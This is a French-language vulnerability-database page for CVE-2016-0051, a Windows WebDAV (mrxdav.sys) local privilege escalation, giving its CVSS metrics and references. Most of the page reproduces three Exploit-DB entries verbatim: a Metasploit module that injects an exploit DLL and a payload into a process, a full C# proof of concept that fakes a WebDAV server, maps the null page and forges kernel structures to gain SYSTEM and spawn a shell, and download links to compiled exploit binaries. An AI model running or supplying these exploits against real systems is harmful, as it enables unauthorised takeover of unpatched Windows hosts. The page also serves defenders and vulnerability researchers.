CVE-2016-0051 : Détail

CVE-2016-0051

7.8
/
HIGH
A01-Broken Access Control
0.05%V3
Local
2016-02-10 10:00 +00:00
2018-10-12 17:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

The WebDAV client in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold and 1511 allows local users to gain privileges via a crafted application, aka "WebDAV Elevation of Privilege Vulnerability."

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 39788

Date de publication : 2016-05-08 22:00 +00:00
Auteur : hex0r
EDB Vérifié : Yes

# Exploit Title: WebDAV Elevation of Privilege Vulnerability (MS16)-2 # Date: 8/5/2016 # Exploit Author: hex0r # Version:WebDAV on Windows 7 84x # CVE : CVE-2016-0051 Intro: Credits go to koczkatama for coding a PoC, however if you run this exploit from shell connection, not a remote desktop, the result will be getting the privileged shell in new GUI windows. Again Thanks to https://github.com/koczkatamas/CVE-2016-0051 https://www.exploit-db.com/exploits/39432/ PoC: Download the source code (C#) also there will be compiled version as well, copy the dll file and the executable to the target machine, run it to get SYSTEM, Proof of Concept: https://github.com/hexx0r/CVE-2016-0051 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39788.zip
Exploit Database EDB-ID : 40085

Date de publication : 2016-07-10 22:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'MS16-016 mrxdav.sys WebDav Local Privilege Escalation', 'Description' => %q{ This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn a process on the target system and elevate it's privileges to NT AUTHORITY\SYSTEM before executing the specified payload within the context of the elevated process. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tamas Koczka', # Original Exploit 'William Webb <william_webb[at]rapid7.com>' # C port and Metasploit module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => 'false' }, 'Targets' => [ [ 'Windows 7 SP1', { } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'CVE', '2016-0051' ], [ 'MSB', 'MS16-016' ] ], 'DisclosureDate' => 'Feb 09 2016', 'DefaultTarget' => 0 })) end def check if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end Exploit::CheckCode::Detected end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end print_status("Launching notepad to host the exploit...") notepad_process_pid = cmd_exec_get_pid("notepad.exe") begin process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError print_status("Operation failed. Hosting exploit in the current process...") process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2016-0051", "cve-2016-0051.x86.dll") library_path = ::File.expand_path(library_path) exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected ... injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) thread = process.thread.create(exploit_mem + offset, payload_mem) sleep(3) print_status("Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.") end end
Exploit Database EDB-ID : 39432

Date de publication : 2016-02-09 23:00 +00:00
Auteur : koczkatamas
EDB Vérifié : Yes

/* source: https://github.com/koczkatamas/CVE-2016-0051 Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016). Full Proof of Concept: - https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip - https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39432-1.zip Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601) Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas) Original source: https://github.com/koczkatamas/CVE-2016-0051 */ using System; using System.Diagnostics; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Security.Principal; using System.Text; using System.Threading; namespace EoP { class Program { #region Fake WebDAV server static void StartFakeWebDavServer(int port) { new Thread(() => { var server = new TcpListener(IPAddress.Loopback, port); server.Start(); while (true) { using (var client = server.AcceptTcpClient()) using (var stream = client.GetStream()) using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1"))) using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true }) { Func<string> rl = () => { var line = reader.ReadLine(); //Console.WriteLine("< " + line); return line; }; Action<string> wl = outData => { //Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x))); writer.Write(outData); }; var hdrLine = rl(); Console.WriteLine("[*] Request: " + hdrLine); var header = hdrLine.Split(' '); while (!string.IsNullOrEmpty(rl())) { } if (header[0] == "OPTIONS") wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n"); else if (header[0] == "PROPFIND") { var body = String.Format(@" <?xml version=""1.0"" encoding=""UTF-8""?> <D:multistatus xmlns:D=""DAV:""> <D:response> <D:href>{0}</D:href> <D:propstat> <D:prop> <D:creationdate>{1:s}Z</D:creationdate> <D:getcontentlength>{3}</D:getcontentlength> <D:getcontenttype>{4}</D:getcontenttype> <D:getetag>{5}</D:getetag> <D:getlastmodified>{6:R}</D:getlastmodified> <D:resourcetype>{8}</D:resourcetype> <D:supportedlock></D:supportedlock> <D:ishidden>{7}</D:ishidden> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim(); wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body); } else wl("HTTP/1.1 500 Internal Server Error\r\n\r\n"); //Console.WriteLine(" =============== END REQUEST =============== "); } } }) { IsBackground = true, Name = "WebDAV server thread" }.Start(); } #endregion #region WinAPI [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); [StructLayout(LayoutKind.Sequential)] private class NETRESOURCE { public uint dwScope = 0; public uint dwType = 0; public uint dwDisplayType = 0; public uint dwUsage = 0; public string lpLocalName = null; public string lpRemoteName = null; public string lpComment = null; public string lpProvider = null; } [DllImport("mpr.dll")] private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags); // based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library public enum PageProtection : uint { NOACCESS = 0x01, READONLY = 0x02, READWRITE = 0x04, WRITECOPY = 0x08, EXECUTE = 0x10, EXECUTE_READ = 0x20, EXECUTE_READWRITE = 0x40, EXECUTE_WRITECOPY = 0x80, GUARD = 0x100, NOCACHE = 0x200, WRITECOMBINE = 0x400 } [Flags] public enum MemoryAllocationType : uint { COMMIT = 0x1000, RESERVE = 0x2000, FREE = 0x10000, PRIVATE = 0x20000, MAPPED = 0x40000, RESET = 0x80000, TOP_DOWN = 0x100000, WRITE_WATCH = 0x200000, ROTATE = 0x800000, LARGE_PAGES = 0x20000000, PHYSICAL = 0x400000, FOUR_MB_PAGES = 0x80000000 } [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)] public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect); public enum FileOpenInformation { Superceded = 0x00000000, Opened = 0x00000001, Created = 0x00000002, Overwritten = 0x00000003, Exists = 0x00000004, DoesNotExist = 0x00000005 } internal enum NtStatus : uint { SUCCESS = 0x00000000, INVALID_PARAMETER_1 = 0xC00000EF, INVALID_PARAMETER_2 = 0xC00000F0, INVALID_PARAMETER_3 = 0xC00000F1, INVALID_PARAMETER_4 = 0xC00000F2, // don't care } internal struct IoStatusBlock { public NtStatus status; public InformationUnion Information; [StructLayout(LayoutKind.Explicit)] public struct InformationUnion { [FieldOffset(0)] public FileOpenInformation FileOpenInformation; [FieldOffset(0)] public uint BytesWritten; [FieldOffset(0)] public uint BytesRead; } } [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)] public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int LoadAndGetKernelBasePtr(); [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); #endregion private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); } private static byte[] z(int c) { return rep(0, c); } private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); } private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); } public static void Main(string[] args) { var shellcodeDll = LoadLibrary("shellcode.dll"); var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8"); var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0"); var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr)); var loadResult = loadAndGetKernelBase(); Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}"); var addr = new IntPtr(0x1000); var size = new UIntPtr(0x4000); var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE); Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}"); if (result != NtStatus.SUCCESS || loadResult != 0) Console.WriteLine("[-] Fail... so sad :("); else { Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures..."); var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) }); Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1); var p = new Random().Next(1024, 65535); Console.WriteLine("[*] Starting fake webdav server..."); StartFakeWebDavServer(p); Console.WriteLine("[*] Calling WNetAddConnection2..."); var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0); Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult); var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero); Console.WriteLine($"[*] CreateFile result = {fileHandle}"); IoStatusBlock ioStatusBlock; var inputLen = 24; var inputPtr = Marshal.AllocHGlobal(inputLen); var outputLen = 4; var outputPtr = Marshal.AllocHGlobal(outputLen); var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen); Console.WriteLine($"[*] NtFsControlFile result = {controlResult}"); var identity = WindowsIdentity.GetCurrent(); if (identity?.IsSystem == true) { Console.WriteLine("[+] Got SYSTEM! Spawning a shell..."); Process.Start("cmd"); } else Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}..."); } Console.WriteLine(""); Console.WriteLine("Press ENTER to exit."); Console.ReadLine(); } } }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_vista >> Version *

References

http://www.securitytracker.com/id/1034980
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/40085/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/39788/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/39432/
Tags : exploit, x_refsource_EXPLOIT-DB
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.